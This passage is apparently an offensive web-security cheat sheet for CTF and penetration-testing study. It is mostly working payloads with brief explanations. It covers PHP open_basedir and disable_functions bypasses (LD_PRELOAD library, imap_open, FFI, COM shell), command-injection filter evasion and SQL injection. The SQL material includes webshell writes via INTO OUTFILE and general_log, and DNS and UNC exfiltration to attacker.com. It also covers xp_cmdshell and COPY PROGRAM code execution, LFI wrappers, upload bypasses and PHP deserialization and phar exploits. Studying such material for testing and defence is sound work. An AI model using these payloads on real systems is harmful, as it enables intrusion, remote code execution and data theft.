foreach($it as $f) {  
    $file_list[] = $f->__toString();
}
sort($file_list);  
foreach($file_list as $f){  
    echo "{$f}<br/>";
}

How it works:

  • glob:// wrapper isn't restricted by open_basedir
  • It can list files in any directory, including root
  • This reveals file existence even if you can't read them

Method 2: Directory Traversal via chdir()

chdir('img');
ini_set('open_basedir','..');  // Set to parent
chdir('..');chdir('..');
chdir('..');chdir('..');
ini_set('open_basedir','/');   // Now unrestricted
echo(file_get_contents('flag'));

Step-by-step:

  1. chdir('img') - move into a subdirectory
  2. ini_set('open_basedir','..') - set restriction to parent directory
  3. Now we can use chdir('..') to move up, expanding our allowed path
  4. After enough chdir('..'), we're at root
  5. ini_set('open_basedir','/') - set restriction to root (effectively no restriction)
  6. Read any file

Method 3: Symlink Attack

mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');  // Points to root
unlink('foo');
symlink('/var/www/html/','foo');  // Reset
echo file_get_contents('bar/etc/passwd');  // Read outside open_basedir

How it works:

  • Create symlinks to traverse outside the restricted directory
  • open_basedir checks the resolved path at symlink creation, not at access time
  • By manipulating symlinks, you can point to forbidden locations

disable_functions Bypass

PHP's disable_functions restricts dangerous functions. Here are various bypass techniques.

1. Shellshock (Bash vulnerability)

<?php
putenv("BUGMENOT=() { :; }; /bin/cat /etc/passwd");
system("bash -c 'echo vulnerable'");
?>

How it works: Shellshock (CVE-2014-6271) allows command injection through environment variables. Bash versions before 2014-09-24 are vulnerable.

Vulnerable condition: When a vulnerable bash processes the environment variable, it executes the code after the function definition.

2. mail() + LD_PRELOAD

<?php
// mail.php
putenv("LD_PRELOAD=/tmp/malicious.so");
mail("a@b.com", "Subject", "Body");
?>
// malicious.c
#include <stdlib.h>
#include <unistd.h>

void __attribute__ ((constructor)) preload (void){
    unsetenv("LD_PRELOAD");
    system("id");
}

How it works:

  • mail() internally calls the sendmail binary
  • LD_PRELOAD tells the dynamic linker to load a custom library first
  • The malicious library has a constructor function that runs when loaded
  • When sendmail starts, it loads our library, executing our code
  • The unsetenv("LD_PRELOAD") prevents infinite loops

Compilation:

gcc -shared -fPIC malicious.c -o malicious.so

3. mb_send_mail()

mb_send_mail("a@b.com", "Subject", "Body");

How it works: Same as mail() - also calls sendmail internally, vulnerable to LD_PRELOAD.

4. imap_open() RCE

<?php
$payload = "echo hello|tee /tmp/executed";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

How it works:

  • imap_open() connects to an IMAP server
  • The -o ProxyCommand option in the server string executes a command
  • The command decodes and executes the payload

5. ImageMagick Exploitation

Command Injection via MVG:

$img = new Imagick('/tmp/payload.mvg');

payload.mvg:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://attacker.com";ls "-la)'
pop graphic-context

How it works: ImageMagick's MVG format handles URLs by calling external programs (like curl). By injecting shell metacharacters, you can execute arbitrary commands.

Ghostscript + LD_PRELOAD:

// Create malicious.eps with embedded commands
// Then process with Imagick
$img = new Imagick('/tmp/malicious.eps');

How it works: ImageMagick uses Ghostscript to parse EPS files. Ghostscript can be exploited with LD_PRELOAD if not properly sandboxed.

MAGICK_CONFIGURE_PATH + delegates.xml:

putenv('MAGICK_CONFIGURE_PATH=/tmp');

// Create /tmp/delegates.xml:
<delegatemap>
  <delegate decode="ps:alpha" command="sh -c &quot;/readflag > /tmp/output&quot;"/>
</delegatemap>

$img = new Imagick('/tmp/test.ps');

How it works: ImageMagick looks for delegates.xml in MAGICK_CONFIGURE_PATH. This file defines how to handle different file types. By creating a malicious delegate, any PS file processed will execute our command.

6. FFI (PHP 7.4+)

<?php
$ffi = FFI::cdef("int system (const char* command);");
$ffi->system("id");

How it works: FFI (Foreign Function Interface) allows calling C functions directly from PHP. If system() isn't disabled in the C library, this bypasses PHP's disable_functions.

7. FastCGI Extension

How it works: If PHP-FPM is running on the same server, you can connect to it directly and execute PHP code bypassing the web server's restrictions.

Tool: FuckFastcgi creates a FastCGI client that can execute arbitrary PHP code through PHP-FPM.

8. Windows COM

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;

Requirements:

  • com.allow_dcom = true in php.ini
  • extension=php_com_dotnet.dll loaded

How it works: COM objects are Windows components. WScript.shell provides command execution capabilities that bypass PHP's internal restrictions.

Other PHP Quirks

Case Insensitivity

<?PhP sYstEm(ls);

How it works: PHP function names are case-insensitive. This can bypass filters that look for exact strings like system.

Ternary Operator Precedence

echo (true ? 'a' : false ? 'b' : 'c');  // 'b'

Why: The ternary operator is left-associative in PHP. This expression is parsed as (true?'a':false)?'b':'c'. The first part evaluates to 'a', which is truthy, so the second ternary returns 'b'.

Backtick Execution

echo `whoami`;

How it works: Backticks are the execution operator in PHP. They run the enclosed string as a shell command and return the output.

Regex Newline Behavior

preg_match("/^.*$/", "hello\nworld");  // false

Why: The dot (.) in regex doesn't match newlines (\n). The string contains a newline, so the pattern fails.

Regex Backslash Escape

preg_match("/\\\\/", "\\");  // Correct - matches
preg_match("/\\/", "\\");    // Wrong

Why: To match a single backslash in regex, you need to escape it twice:

  • First, PHP string escaping: \\ becomes \ in the string
  • Then regex engine sees \ and needs to escape it: \\ in regex
  • So total: PHP string \\\\ becomes \\ in regex, which matches a single \

chr() Wraparound

chr(259) === chr(3);   // 256 modulo
chr(-87) === chr(169); // Add multiples of 256 until positive

How it works: chr() takes the value modulo 256 (for positive) or adds 256 until positive (for negative). This can be used to generate characters without using their ASCII values directly.

String Increment

$a = "9D9"; 
var_dump(++$a);  // string(3) "9E0"

How it works: PHP's string increment follows a pattern:

  • Increment the rightmost alphanumeric character
  • 90 with carry, DE
  • Result: 9E0
$a = "9E0"; 
var_dump(++$a);  // float(10)

Now 9E0 is treated as scientific notation (9×10⁰ = 9), so incrementing gives 10 as a float.

Bitwise Operations to Bypass Filters

%f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f = "system"

How it works: Bitwise AND with 0x7F (127) clears the high bit of each byte, converting extended ASCII to standard ASCII. This can be used to construct strings without using the actual characters.

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
// $_ = "assert"

How it works: XOR operations can combine characters to form other characters. This is a common obfuscation technique to create strings like assert without using those letters directly.

=== Bug (PHP versions)

var_dump([0 => 0] === [0x100000000 => 0]);  // True in some versions

Why: In some PHP versions, integer overflow in array key comparison causes 0x100000000 (2³²) to overflow to 0 on 32-bit systems, making the keys equal.

basename() Bug (PHP bug #62119)

basename("index.php/config.php/喵");  // Returns "config.php"

Why: Due to Unicode handling issues, basename() incorrectly parses paths with multibyte characters. The expected result would be (the last component), but it returns config.php instead.


Command Injection

Understanding Command Injection

Command injection occurs when user input is passed to system commands without proper sanitization. Attackers can inject additional commands using shell metacharacters.

Basic Payloads Explained

| cat flag

How it works: The pipe | takes the output of the previous command and feeds it as input to the next command. If the original command was ping $input, using | cat flag would execute ping | cat flag, which ignores the ping and just cats the flag.

&& cat flag

How it works: && means "execute the next command only if the previous succeeded". This ensures both commands run regardless of the original command's behavior.

; cat flag

How it works: The semicolon ; is a command separator. It allows multiple commands on one line, regardless of success/failure.

%0a cat flag

How it works: %0a is URL-encoded newline. In many contexts, a newline acts as a command separator like ;. This bypasses filters that look for ; or &&.

"; cat flag"

How it works: Used when input is inside quotes. If the original command is echo "$input", injecting "; cat flag" closes the first quote, executes the command, then opens a new quote to avoid syntax errors.

`cat flag`

How it works: Backticks execute the enclosed command and substitute its output. If the original command uses the output, this can be very powerful.

cat $(ls)

How it works: $() is command substitution (modern version of backticks). The inner command runs first, and its output becomes an argument to the outer command.

Wildcards Explained

cat fl?g

How it works: ? matches exactly one character. This will match flag, fl1g, fl2g, flAg, etc. Useful when you don't know the exact filename.

/???/??t /???/p??s??

How it works: This matches /bin/cat /etc/passwd:

  • /???/ matches any 3-character directory under root (like /bin/, /etc/, /dev/)
  • ??t matches any 3-character file ending in 't' (like cat, cut, fmt)
  • /???/p??s?? matches /etc/passwd (4 chars after p, but passwd is 6 chars total)

Bypassing Space Restrictions

When spaces are filtered, use these alternatives:

cat${IFS}flag

How it works: ${IFS} is the Internal Field Separator variable, which contains whitespace characters (space, tab, newline). The shell expands it to actual whitespace.

cat$IFS$2flag

How it works: $2 is the second argument to the script/shell. If it's empty, this becomes cat$IFSflag which expands to cat flag.

cat</etc/passwd

How it works: < redirects file contents to stdin. cat without arguments reads from stdin. So this works as a substitute for cat /etc/passwd.

{cat,/etc/passwd}

How it works: Brace expansion in bash. This expands to cat /etc/passwd, with the comma acting as a separator.

X=$'cat\x20/etc/passwd' && $X

How it works: $'...' is ANSI-C quoting. \x20 is a space character. This creates a variable containing the command with space, then executes it.

IFS=,;`cat<<<uname,-a`

How it works:

  • IFS=, sets the field separator to comma
  • <<< is a here-string, feeding the string to cat as input
  • Without spaces, this works because cat reads from stdin

Bypassing Keyword Filters

When certain keywords are blocked:

A=fl;B=ag;cat $A$B

How it works: Variables are expanded before command execution, so the shell sees cat flag but the filter only sees variable assignments.

cat fl${x}ag

How it works: ${x} expands to empty string if x is unset. So fl${x}ag becomes flag, but the filter sees the pattern with ${x}.

cat tes$(z)t/flag

How it works: $(z) executes command z (which probably doesn't exist) and substitutes nothing (due to error), resulting in test/flag.

Environment Variable Substrings

${PATH:0:1}  # First char of PATH (often '/')
${PATH:1:1}  # Second char (often 'u')
${PATH:0:4}  # First 4 chars (often '/usr')
${PS2}       # Often '>'
${PS4}       # Often '+'

How it works: ${VAR:offset:length} extracts substrings from environment variables. These can be combined to build command strings without typing the characters directly.

Empty Strings

cat fl""ag
cat fl''ag
cat "fl""ag"

How it works: Quotes around empty strings are removed during parsing, leaving cat flag. This can break filters that look for exact strings.

Backslash Escaping

c\at fl\ag

How it works: The backslash escapes the next character, but since \a and \t aren't special, they're just removed during parsing, leaving cat flag.

ImageMagick Exploitation

CVE-2016-3714 (ImageTragick)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://attacker.com";ls "-la)'
pop graphic-context

How it works:

  • ImageMagick's MVG format supports url() for loading images from URLs
  • It uses external programs (like curl or wget) to fetch these URLs
  • By injecting shell metacharacters (" and ;) in the URL, we can break out of the intended command
  • The injected ls -la executes on the server

Python Command Execution

os.system("ls")                 # Simple execution, returns exit code
os.popen("ls").read()           # Captures output
os.execl("/bin/ls","")           # Replaces current process
os.execlp("ls","")               # Searches PATH
os.execv("/bin/ls",[''])         # Uses argument list

subprocess.call("ls")            # Without shell=True, needs list
subprocess.call("ls|cat", shell=False)  # Fails - pipe not supported
subprocess.call("ls|cat", shell=True)   # Works - uses shell

eval("__import__('os').system('ls')")   # Dynamic import
exec("__import__('os').system('ls')")   # exec is statement in Py2, function in Py3

commands.getoutput('ls')         # Deprecated module

Ruby Command Execution

open("| ls")                     # Pipe to open()
IO.popen("ls").read              # IO.popen
Kernel.exec("ls")                # exec replaces process
Kernel.method("open").call("|ls").read()  # Method object
`ls`                             # Backticks
system("ls")                     # system()
eval("ruby code")
exec("ls")
%x{ls}                           # %x literal
%x'ls'
%x[ls]
%x(ls)
%x;ls;
"Process".constantize.spawn("id")  # Rails constantize
Process.spawn("id")
PTY.spawn("id")                  # Pseudo-terminal

Non-alphanumeric Ruby

$$/$$                      # => 1 (current PID / PID)
'' << 97 << 98 << 99       # => "abc"
$:                         # $LOAD_PATH

How it works: Ruby allows constructing strings from character codes and using special variables to bypass filters that block alphanumeric characters.


SQL Injection

MySQL Fundamentals

String Functions

SUBSTR('abc', 1, 1)  -- 'a'
MID('abc', 1, 1)     -- 'a' (same as SUBSTR)
SUBSTRING('abc', 1, 1) -- 'a'

ASCII('A')  -- 65
CHAR(65)    -- 'A'

CONCAT('a', 'b')           -- 'ab' (returns NULL if any argument is NULL)
CONCAT_WS('@', 'gg', 'inin') -- 'gg@inin' (with separator)

CAST('125e342.83' AS signed)   -- 125 (converts to integer)
CONVERT('23', SIGNED)          -- 23

Time-based Functions

SLEEP(5)                    -- Simple delay
BENCHMARK(1000000, MD5('a')) -- Execute many times (CPU-based delay)

Whitespace Characters in MySQL

09 (tab), 0A (newline), 0B (vertical tab), 0C (form feed), 
0D (carriage return), A0 (non-breaking space), 20 (space)

MySQL treats many characters as whitespace, which can be used to bypass WAFs.

File Operations

LOAD_FILE('/etc/passwd')

Requirements:

  • FILE privilege
  • secure_file_priv not restricting access
  • File must be readable by MySQL user
SELECT "<?php system($_GET[1]);?>" 
INTO OUTFILE "/var/www/html/shell.php"

How it works: Writes query result to a file. Great for webshells if you know a writable directory.

LOAD DATA INFILE '/etc/passwd' 
INTO TABLE test 
FIELDS TERMINATED BY "\n"

How it works: Server reads file and inserts into table. Useful for importing data.

LOAD DATA LOCAL INFILE '/etc/hosts' 
INTO TABLE test 
FIELDS TERMINATED BY "\n"

Important: LOCAL means the client reads the file, not the server. This doesn't require FILE privilege and works with UNC paths on Windows:

LOAD DATA LOCAL INFILE '\\\\attacker.com\\test' 
INTO TABLE mysql.test

Bypass secure_file_priv with general_log

SET global general_log='on';
SET global general_log_file='C:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

How it works:

  • general_log logs all queries to a file
  • By changing the log file location to the web directory
  • Each query gets written to that file
  • Writing PHP code in a query embeds it in the log file

System Variables

@@version           -- MySQL version
USER()              -- Current user (with host)
CURRENT_USER()      -- Authenticated user (without host)
DATABASE()          -- Current database
SCHEMA()            -- Same as DATABASE()
@@basedir           -- Installation directory
@@datadir           -- Data directory
@@plugin_dir        -- Plugin directory (for UDFs)
@@hostname          -- Server hostname
@@version_compile_os    -- Operating system
@@version_compile_machine -- System architecture
@@global.secure_file_priv -- Import/export restrictions

Hexadecimal Notation

SELECT X'5061756c'         -- 'Paul' (X'...' notation)
SELECT 0x5061756c          -- 'Paul' (0x... notation)
SELECT 0x5061756c + 0      -- 1348564332 (as number)

Bypassing quote filters:

SELECT LOAD_FILE(0x2F6574632F706173737764)  -- /etc/passwd in hex

Alternative with CHAR():

CHAR(97, 100, 109, 105, 110)  -- 'admin'

Comments

#  -- Single line comment (hash)
--  -- SQL comment (needs space after --)
/**/  -- Multi-line comment
/*!50001 select * from test */  -- Conditional execution (if version >= 5.00.01)
;  -- Statement terminator (supports stacking in PDO)

information_schema

Available in MySQL >= 5.0. Contains metadata about all databases, tables, and columns.

Key tables:

  • SCHEMATA - database names
  • TABLES - table names
  • COLUMNS - column names
  • STATISTICS - indexes

UNION-Based Injection

Determining Column Count

ORDER BY 1,2,3...N

How it works: Add ORDER BY with increasing column numbers until you get an error. The last successful number is the column count.

UNION SELECT 1,2,3...N

How it works: Try UNION SELECT with increasing NULLs/numbers until the query executes without error.

Extracting Data

-- Database names
UNION SELECT 1,2,schema_name 
FROM information_schema.schemata 
LIMIT 1,1

How it works: Each UNION SELECT returns one row. Use LIMIT to iterate through results.

-- Table names
UNION SELECT 1,2,table_name 
FROM information_schema.tables 
WHERE table_schema='mydb' 
LIMIT 0,1
-- Column names
UNION SELECT 1,2,column_name 
FROM information_schema.columns 
WHERE table_schema='mydb' 
LIMIT 0,1
-- MySQL user hashes
SELECT CONCAT(user, ":", password) FROM mysql.user

Error-Based Injection

Bigint Overflow (MySQL > 5.5.5)

SELECT ~0 + 1  -- Error (BIGINT overflow)
SELECT exp(710)  -- Error (DOUBLE value out of range)

Extracting data with overflow:

SELECT exp(~(SELECT * FROM (SELECT user())x));
-- ERROR 1690: DOUBLE value out of range

How it works: The subquery returns a string, which is converted to a number for exp(). The conversion process causes an error that reveals the data.

XPath Functions (limited to 32 chars)

SELECT extractvalue(1, concat(0x7e, (SELECT @@version), 0x7e));
-- ERROR 1105: XPATH syntax error: '~5.7.17~'

How it works: extractvalue() expects valid XPath. By injecting a tilde (~), we cause an XPath error that reveals the data.

SELECT updatexml(1, concat(0x7e, (SELECT @@version), 0x7e), 1);
-- ERROR 1105: XPATH syntax error: '~5.7.17~'

Duplicate Key (GROUP BY)

SELECT count(*) FROM test 
GROUP BY concat(version(), floor(rand(0)*2));
-- ERROR 1062: Duplicate entry '5.7.171' for key '<group_key>'

How it works: rand(0) generates predictable values. floor(rand(0)*2) alternates between 0 and 1. When GROUP BY creates a temporary table, duplicate keys cause an error that reveals the data.

Bypass information_schema Filter

-- Extract database name via error
SELECT 1,2,3 FROM users WHERE 1=abc();
-- ERROR 1305: FUNCTION db_name.abc does not exist

How it works: Calling a non-existent function causes an error that reveals the database name.

-- Extract table name
SELECT 1,2,3 FROM users WHERE Polygon(id);
-- ERROR 1367: Illegal non geometric '`db`.`table`.`id`' value

How it works: Using a geometric function on a non-geometric column reveals the table and column names.

-- Extract column names via join error
SELECT 1,2,3 FROM users 
WHERE (SELECT * FROM (SELECT * FROM users AS a JOIN users AS b) AS c);
-- ERROR 1060: Duplicate column name 'column_name'

How it works: Self-join without aliases creates duplicate column names, and the error reveals them.

Blind Injection

Boolean-Based

id=87 AND length(user())>0        -- True if user exists
id=87 AND ascii(mid(user(),1,1))>100  -- Check first character
id=87 OR ((SELECT user()) REGEXP BINARY '^[a-z]')  -- Regex match

How it works: The page response changes (different content, different HTTP status) based on whether the condition is true or false.

Time-Based

id=87 AND IF(length(user())>0, SLEEP(10), 1)=1
id=87 AND IF(ascii(mid(user(),1,1))>100, SLEEP(10), 1)=1

How it works: The page response is delayed by SLEEP() if the condition is true. No visible output, just timing differences.

Out-of-Band (DNS) - Windows Only

SELECT LOAD_FILE(CONCAT("\\\\", schema_name, ".dns.attacker.com\\a")) 
FROM information_schema.schemata

How it works: On Windows, LOAD_FILE with UNC path attempts to connect to the remote server. This triggers a DNS lookup to the attacker's domain, revealing the database name in the subdomain.

WAF Bypass Techniques

Whitespace Bypass

id=-1/**/UNION/**/SELECT/**/1,2,3           -- Comments as whitespace
id=-1%09UNION%0DSELECT%0A1,2,3              -- URL-encoded whitespace
id=(-1)UNION(SELECT(1),2,3)                  -- Parentheses

Keyword Obfuscation

SeLeCt * FrOm users                          -- Case mixing
information_schema.schemata                   -- Normal
`information_schema`.schemata                 -- Backticks

Quote Bypass

id=0x61646d696e                               -- Hex encoding
id=CONCAT(CHAR(97),CHAR(100),CHAR(109)...)    -- CHAR() function

Scientific Notation

id=0e2union select 1,2,3                      -- '0e2' = 0
id=0e1union(select~1,2,3)                     -- With bitwise NOT
id=.1union select 1,2,3                        -- Decimal point

How it works: MySQL accepts numbers in scientific notation and decimal format. If the filter looks for union after a number, putting 0e2 (valid number) tricks it.

Operator Substitution

AND -> &&                                      -- Bitwise AND
OR  -> ||                                      -- Bitwise OR
=   -> LIKE, IN, BETWEEN
a = 'b' -> NOT a > 'b' AND NOT a < 'b'        -- Double negative
> 10  -> NOT BETWEEN 0 AND 10                  -- Range inversion

Multipart/form-data Bypass

Some WAFs only check application/x-www-form-urlencoded content. Changing to multipart/form-data can bypass inspection.

Wide Character Injection

-- In GBK encoding, 0xdf + 0x5c forms a valid Chinese character
%df' -> %df\' -> 運'  (0xdf5c is a Chinese character)

How it works:

  1. addslashes() or magic_quotes_gpc escapes quotes with \'
  2. In GBK, the backslash \ (0x5C) combines with the previous byte (0xDF) to form a valid multi-byte character
  3. The quote is no longer escaped, allowing SQL injection

ORDER BY Injection

?order=IF(1=1, username, password)           -- Conditional ordering
?order=IF(1=1,1,(SELECT 1 UNION SELECT 2))    -- Error-based
?order=IF(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))  -- Time-based

MSSQL

Key Differences from MySQL

-- String concatenation
'a' + 'b'   -- 'ab' (not CONCAT)

-- Time delay
WAITFOR DELAY '0:0:10'  -- 10 seconds

-- LIMIT alternative
SELECT TOP 87 * FROM xxx  -- First 87 rows

-- Rows 78-87
SELECT pass FROM (
    SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS RowNum 
    FROM mydb.dbo.mytable
) x WHERE RowNum BETWEEN 78 AND 87

System Information

SELECT USER
SELECT DB_NAME()
SELECT @@VERSION
SELECT @@SERVERNAME
SELECT HOST_NAME()

xp_cmdshell (Command Execution)

-- Enable (requires sysadmin)
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE

-- Execute command
EXEC xp_cmdshell 'whoami'

Oracle

Key Differences

  • Every SELECT must have a FROM clause
  • Use dual table when no table is needed
  • Single quotes for strings, double quotes for identifiers
-- Version
SELECT banner FROM v$version WHERE rownum=1

-- Current user
SELECT USER FROM dual

-- Time-based
SELECT CASE WHEN (1=1) 
    THEN 'a'||dbms_pipe.receive_message(('a'),10) 
    ELSE NULL 
END FROM dual

SQLite

Key Differences

-- No IF, use CASE
CASE WHEN (condition) THEN ... ELSE ... END

-- No sleep, use RANDOMBLOB
RANDOMBLOB(100000000)  -- Large blob creation causes delay

-- Version
SELECT sqlite_version()

-- Quote handling
-- No \' escaping, use '' for single quote

PostgreSQL

Key Differences

-- Time delay
pg_sleep(5)

-- Base64 encoding/decoding
ENCODE('123\000\001', 'base64')  -- 'MTIzAAE='
DECODE('MTIzAAE=', 'base64')     -- '123\000\001'

-- Dollar-quoted strings (alternative to single quotes)
SELECT $$This is a string$$

RCE via COPY PROGRAM (CVE-2019–9193)

-- Create table for output
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);

-- Execute command
COPY cmd_exec FROM PROGRAM 'id';

-- View results
SELECT * FROM cmd_exec;

How it works: COPY ... FROM PROGRAM allows executing system commands directly from PostgreSQL (versions 9.3-11.2 with default settings).


Local File Inclusion (LFI)

Understanding LFI

LFI occurs when an application includes files based on user input without proper validation. Attackers can read sensitive files or achieve RCE.

Basic Testing Payloads

../../../../../../etc/passwd

How it works: ../ moves up one directory. By going up enough levels, you reach the root directory, then navigate to /etc/passwd.

../../../../../../etc/passwd%00

How it works: Null byte injection. In PHP < 5.3.4 with magic_quotes_gpc off, the null byte terminates the string, so if the application appends .php, the null byte prevents it.

....//....//....//....//etc/passwd

How it works: Double slash bypass. Some filters remove ../ but leave ....// which normalizes to ../ after processing.

%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

How it works: URL encoding. %2e = ., %2f = /. This bypasses filters that look for literal ../.

php://filter Wrappers

Reading PHP Files

php://filter/convert.base64-encode/resource=index.php

How it works: PHP wrappers allow accessing I/O streams. php://filter applies filters to the stream. convert.base64-encode base64-encodes the output, preventing PHP execution so you can read the source code.

Multiple Filters

php://filter/convert.base64-encode|convert.base64-decode/resource=index.php

How it works: Filters are applied in order. This encodes then decodes, effectively doing nothing but can bypass some checks.

Character Encoding Conversion

php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.php

How it works: iconv converts between character encodings. This can corrupt PHP code, making it display as text instead of executing.

php://input

?page=php://input
POST: <?php system("id"); ?>

How it works: php://input reads raw POST data. If allow_url_include=On, the POST data is treated as a file to include, executing the PHP code.

phpinfo() + LFI

Attack flow:

  1. Upload a file (creates temp file like /tmp/phpXXXXXX)
  2. Use phpinfo() to leak the temp file path
  3. LFI to include the temp file before it's deleted
  4. Execute the uploaded PHP code

Limitation: Ubuntu 17+ enables PrivateTmp by default, preventing this technique.

PHP Session Injection

Session File Locations

/var/lib/php5/sess_[PHPSESSID]
/var/lib/php/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]
/var/tmp/sess_[PHPSESSID]
C:\Windows\Temp\sess_[PHPSESSID]  # Windows

How it works: PHP stores session data in files. If you can control session data (e.g., through user-controlled variables), you can inject PHP code that gets included.

session.upload_progress

<form action="upload.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file1" />
    <input type="submit" />
</form>

How it works: When session.upload_progress.enabled=On (default), PHP writes upload progress to the session. The session contains the value of PHP_SESSION_UPLOAD_PROGRESS. If you control that value, you can inject PHP code.

Race condition: The session file is cleaned up after upload. You need to include it before cleanup.

PEAR (PHP Extension and Application Repository)

Write File via config-create

/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php

How it works: pearcmd.php is a command-line tool that can be accessed via web if register_argc_argv is enabled. config-create writes a configuration file containing the PHP code.

data:// Wrapper

?file=data://text/plain,<?php phpinfo()?>
?file=data:text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

Requirements: allow_url_fopen=On and allow_url_include=On

How it works: data:// embeds data directly in the URL. The data is treated as a file to include.

zip:// and phar:// Wrappers

zip://

zip malicious.zip shell.php
mv malicious.zip malicious.jpg
?file=zip://malicious.jpg#shell.php

How it works: zip:// reads files from a ZIP archive. The # specifies which file in the archive to access. This can bypass file extension checks because the file is a JPG but the wrapper reads the ZIP contents.

phar://

<?php
$p = new PharData('payload.zip', 0, 'payload', Phar::ZIP);
$p->addFromString('shell.jpg', '<?php system($_GET[cmd]); ?>');
?>
?file=phar://payload.zip/shell.jpg

How it works: phar:// reads from Phar archives. Like zip://, this bypasses extension checks.

SSI (Server Side Includes)

<!--#exec cmd="command"-->
<!--#include file="../../web.config"-->

How it works: SSI is a server-side scripting language for web servers. If .shtml files are enabled, these directives execute commands or include files.


File Upload Vulnerabilities

Understanding File Upload Attacks

File upload vulnerabilities allow attackers to upload malicious files that the server then executes or serves.

Client-Side Bypass

How it works: Client-side validation (JavaScript) only runs in the browser. You can:

  • Disable JavaScript
  • Use browser dev tools to modify the form
  • Intercept and modify the request with Burp Suite
  • Upload directly to the endpoint using tools like curl

MIME Type Bypass

Content-Type: image/jpeg

How it works: The server checks the Content-Type header. By changing it to an allowed type, you can bypass checks that don't verify the actual file content.

Extension Blacklist Bypass

Case Variation

.pHP
.PhP

How it works: Some filters are case-sensitive and only block .php. Using .pHP might bypass.

Windows Trailing Characters

.php.          # Trailing dot
.php(space)    # Trailing space

How it works: Windows filesystems ignore trailing dots and spaces in filenames. shell.php. becomes shell.php.

.php::$DATA

How it works: NTFS alternate data streams. ::$DATA refers to the default data stream, but Windows treats file.php::$DATA as file.php.

Multiple Extensions

.php.jpg

How it works: Some servers only check the last extension. If the server executes based on the first extension, .php.jpg might execute as PHP.

PHP Alternative Extensions

.php3
.php4
.php5
.php7
.pht
.phtml
.phar

How it works: Older PHP versions or specific configurations may execute these extensions as PHP.

.htaccess Tricks

<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>

How it works: If you can upload a .htaccess file, you can configure Apache to treat any file named "shell" as PHP, regardless of its extension.

ErrorDocument 404 %{file:/etc/passwd}

How it works: ErrorDocument can include file contents. This reads /etc/passwd and displays it in the 404 error page.

.user.ini

auto_prepend_file = shell.jpg

How it works: .user.ini is a per-directory PHP configuration file. If PHP runs as FastCGI, this directive causes every PHP file in that directory to include shell.jpg before execution.

Magic Number Bypass

JPEG header:

FF D8 FF E0 00 10 4A 46 49 46

Example PHP with GIF header:

GIF89a
<?php system($_GET[cmd]); ?>

How it works: File signature checks look for specific bytes at the start of the file. By adding a valid image header before your PHP code, you can bypass these checks while still having valid PHP after the header.


Deserialization

PHP Serialization

Understanding Serialization

Serialization converts objects to strings for storage/transmission. Deserialization reconstructs objects from these strings. If an attacker controls the serialized string, they can manipulate object properties and trigger dangerous methods.

Serialization Format

String:  s:size:"value";
Integer: i:value;
Boolean: b:value; (1 or 0)
NULL:    N;
Array:   a:size:{key definition;value definition;...}
Object:  O:strlen(class name):"class name":property count:{properties}

Property Visibility

Public:

class Kaibro {
    public $test = "value";
}
// O:6:"Kaibro":1:{s:4:"test";s:5:"value";}

Private:

class Kaibro {
    private $test = "value";
}
// O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:5:"value";}

Note: Private properties have the class name wrapped in null bytes: \0ClassName\0propertyName.

Protected:

class Kaibro {
    protected $test = "value";
}
// O:6:"Kaibro":1:{s:7:"%00*%00test";s:5:"value";}

Note: Protected properties have \0*\0 prefix.

Magic Methods

__wakeup()       // Called during unserialization
__destruct()     // Called when object is destroyed
__toString()     // Called when object is used as string

Exploitation: If a class has a __wakeup() or __destruct() method that performs dangerous actions, you can trigger those actions by deserializing a crafted object.

Example Exploit

<?php
class Kaibro {
    public $test = "ggininder";
    function __wakeup() {
        system("echo ".$this->test);
    }
}

$input = $_GET['str'];
$obj = unserialize($input);
?>

Payload: O:6:"Kaibro":1:{s:4:"test";s:3:";id";}

How it works: The __wakeup() method executes when the object is unserialized. It runs system("echo ".$this->test). By setting test to ;id, the command becomes system("echo ;id") which executes id.

CVE-2016-7124 (__wakeup Bypass)

// Normal: O:6:"Kaibro":1:{s:4:"test";s:3:";id";}
// Bypass: O:6:"Kaibro":2:{s:4:"test";s:3:";id";}

How it works: In vulnerable PHP versions (PHP5 <5.6.25, PHP7 <7.0.10), if the property count is greater than the actual number, __wakeup() is skipped. This allows bypassing any security checks in __wakeup().

Phar Deserialization

<?php
class TestObject {}

$phar = new Phar("payload.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new TestObject());
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

How it works: PHAR files store metadata in serialized format. When you use phar:// with many file functions (like file_get_contents, file_exists), PHP automatically unserializes this metadata.

Trigger functions:

  • file_get_contents('phar://payload.phar/test.txt')
  • file_exists('phar://payload.phar')
  • is_dir('phar://payload.phar')
  • include('phar://payload.phar')

Bypass GIF header requirement:

$phar->setStub('GIF89a' . '<?php __HALT_COMPILER(); ?>');

